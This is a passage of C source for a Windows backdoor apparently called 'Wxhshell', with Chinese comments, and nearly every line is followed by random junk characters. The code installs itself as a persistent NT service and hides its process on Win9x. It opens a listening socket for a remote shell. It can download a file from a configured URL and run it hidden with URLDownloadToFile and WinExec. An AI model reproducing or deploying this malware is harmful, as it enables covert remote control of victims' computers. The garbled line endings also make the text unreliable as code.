ULONG UniqueProcessId; $7 08\!
ULONG InheritedFromUniqueProcessId; `PY>p!E
} PROCESS_BASIC_INFORMATION; 0qV"R7TW
@fVCGV?'
PROCNTQSIP NtQueryInformationProcess; {m&8Viq1
ezOZHY>|#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w ?+v+k\
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %j[DG_
LT5rLdn
HANDLE hProcess; Yom,{;Bv
PROCESS_BASIC_INFORMATION pbi; oiS>:de%tc
H3?HQ>&O7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =R>%}5
if(NULL == hInst ) return 0; w<uK-]t
qC%[J:RwF
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k$hNibpkt
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;{Sgv^A
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e0#/3$\aSV
2[*r9%W
if (!NtQueryInformationProcess) return 0; R&OqmhT!
(;11xu
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9_6.%qj&
if(!hProcess) return 0; \G}$+
-C7IUat<
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t!g9,xG<X
3>`CZ]ip}
CloseHandle(hProcess); 2|1s !Q
0> 6;,pd"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3gn)q>Xj$
if(hProcess==NULL) return 0; gyI(O>e
B3P#p^
HMODULE hMod; LE|*Je3a
char procName[255]; as{^~8B
unsigned long cbNeeded; 1xJc[q
Pw"o[8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O@
GEl
]vPa
A
CloseHandle(hProcess); Au6*hv3:
k+"+s
bsW'
if(strstr(procName,"services")) return 1; // 以服务启动 n: ~y]
C6XTId=y#_
return 0; // 注册表启动 sI
u{_b
} Z(S=2r.
}+L!r53g6
// 主模块 +q==Y/z
int StartWxhshell(LPSTR lpCmdLine) R|%R-J]
{ Y=oj0(Q*
SOCKET wsl; )Tc eNH
BOOL val=TRUE; [I;5V= bKW
int port=0; 5pBQ~m3
struct sockaddr_in door; xb!h?F&
(O
N
\-*
if(wscfg.ws_autoins) Install(); ,_ XDCu @
UXXN\D
port=atoi(lpCmdLine); uhuwQS=X
ZD9UE3-
if(port<=0) port=wscfg.ws_port; ~h~K"GbC?
Fr}e-a
WSADATA data; H?M#7K~[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AQ!FJ(X(
'oZ/fUl|7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ({ 7tp!@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DR o@gYDn
door.sin_family = AF_INET; y&0&K4aa
door.sin_addr.s_addr = inet_addr("127.0.0.1"); uA?_\z?
door.sin_port = htons(port); #rZk&q
Tr1#=&N0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yqF$J"=|
closesocket(wsl); OXC7
m
return 1; JTw'ecFev
} zX-6]j;
S8O^^jJq;
if(listen(wsl,2) == INVALID_SOCKET) { GfAt-huL(
closesocket(wsl); T,72I
return 1; ~-,P1u!
} +e0]Y8J{
Wxhshell(wsl); 8@)/a
WSACleanup(); Hp_3BulS<
,`/J1(\nd
return 0; O[3AI^2
t6;Ln().Hw
} um@RaU
zaX!f~;"
// 以NT服务方式启动 A#W%ud4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 71+J{XOC
{ K?_4|
DWORD status = 0; TxhTK5#f
DWORD specificError = 0xfffffff; ,w|f*L$
uc?QS~H&w
serviceStatus.dwServiceType = SERVICE_WIN32; k;p:P ?s5Y
serviceStatus.dwCurrentState = SERVICE_START_PENDING; H1uNlPT
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _wWh7'u~G
serviceStatus.dwWin32ExitCode = 0; b;&J2:`
serviceStatus.dwServiceSpecificExitCode = 0; ]@o p
serviceStatus.dwCheckPoint = 0; (9h{7<wD`
serviceStatus.dwWaitHint = 0; fW Vd[zuD4
VT1W#@`e-
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ox"4 y
if (hServiceStatusHandle==0) return; ?aInn:FE
+]Oq{v:e
status = GetLastError(); oy!W$ ?6
if (status!=NO_ERROR) m:<cLc :.
{ Xc2Oa
serviceStatus.dwCurrentState = SERVICE_STOPPED; p+ymtPF
serviceStatus.dwCheckPoint = 0; im^G{3z
serviceStatus.dwWaitHint = 0; m :ROq
serviceStatus.dwWin32ExitCode = status; br"p D-}
serviceStatus.dwServiceSpecificExitCode = specificError; fbSl$jn.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }-m/
'Q
return; o<e AZ
} N}wi<P:*)
x`^~|Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; vJ$#m_aa
serviceStatus.dwCheckPoint = 0; `j088<?j
serviceStatus.dwWaitHint = 0; yzhr"5_
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); or/Y"\-!
} y &\ J
3OV#H%
// 处理NT服务事件,比如:启动、停止 xW{_c[oA
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^;B
vd!
{ 9)sGnD;
switch(fdwControl) w%cd$"EH
{ #;U_ L`q
case SERVICE_CONTROL_STOP: 5AR\'||u
serviceStatus.dwWin32ExitCode = 0; 4J2NIFZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; >?yaG=
serviceStatus.dwCheckPoint = 0; q('O@-HA
serviceStatus.dwWaitHint = 0; oUEpzv,J
{ 3Juhn5&N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); HoGrvt<:.P
} WO*YBH@
return; \>w[#4`m
case SERVICE_CONTROL_PAUSE: 6
$%^
serviceStatus.dwCurrentState = SERVICE_PAUSED; m~\BkE/[l
break; e9h T
case SERVICE_CONTROL_CONTINUE: K z !-w
serviceStatus.dwCurrentState = SERVICE_RUNNING; p^+k:E>U
break; ):eX*
case SERVICE_CONTROL_INTERROGATE: *&>1A A
break; 0@1AH<
}; HE+y1f]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #KZ- "$
} Wx~0_P
uk_?2?>-5
// 标准应用程序主函数 \`r5tQ r
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BCF-lrZ&
{ gNl@T
gOa'o<
// 获取操作系统版本 PdJtJqA8h\
OsIsNt=GetOsVer(); }:YS$'by
GetModuleFileName(NULL,ExeFile,MAX_PATH); JP9eNc[
Z~$=V:EA?
// 从命令行安装 F<X)eO]tk
if(strpbrk(lpCmdLine,"iI")) Install(); nJ.pPzH2g
InMeD[*^
// 下载执行文件 V@<tIui$
if(wscfg.ws_downexe) { 5KU}dw>*g
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 13s!gwE)
WinExec(wscfg.ws_filenam,SW_HIDE); >+R`3|o
'
} L~Epd.,Dt
K9}ppgL'$
if(!OsIsNt) { pox\Gu~.0
// 如果时win9x,隐藏进程并且设置为注册表启动 T30!'F(*,
HideProc(); g^"",!J/
StartWxhshell(lpCmdLine); mgX0@#wFn
} /<s'@!W
else ROr$S z
if(StartFromService()) ;JA2n\iP,
// 以服务方式启动 Fs<kMT
StartServiceCtrlDispatcher(DispatchTable); BqK|4-Pf
else k}l5v)m
// 普通方式启动 e{.2*>pH
StartWxhshell(lpCmdLine); S1wt>}w0$
Nqp%Z7G
return 0; p0? XR
}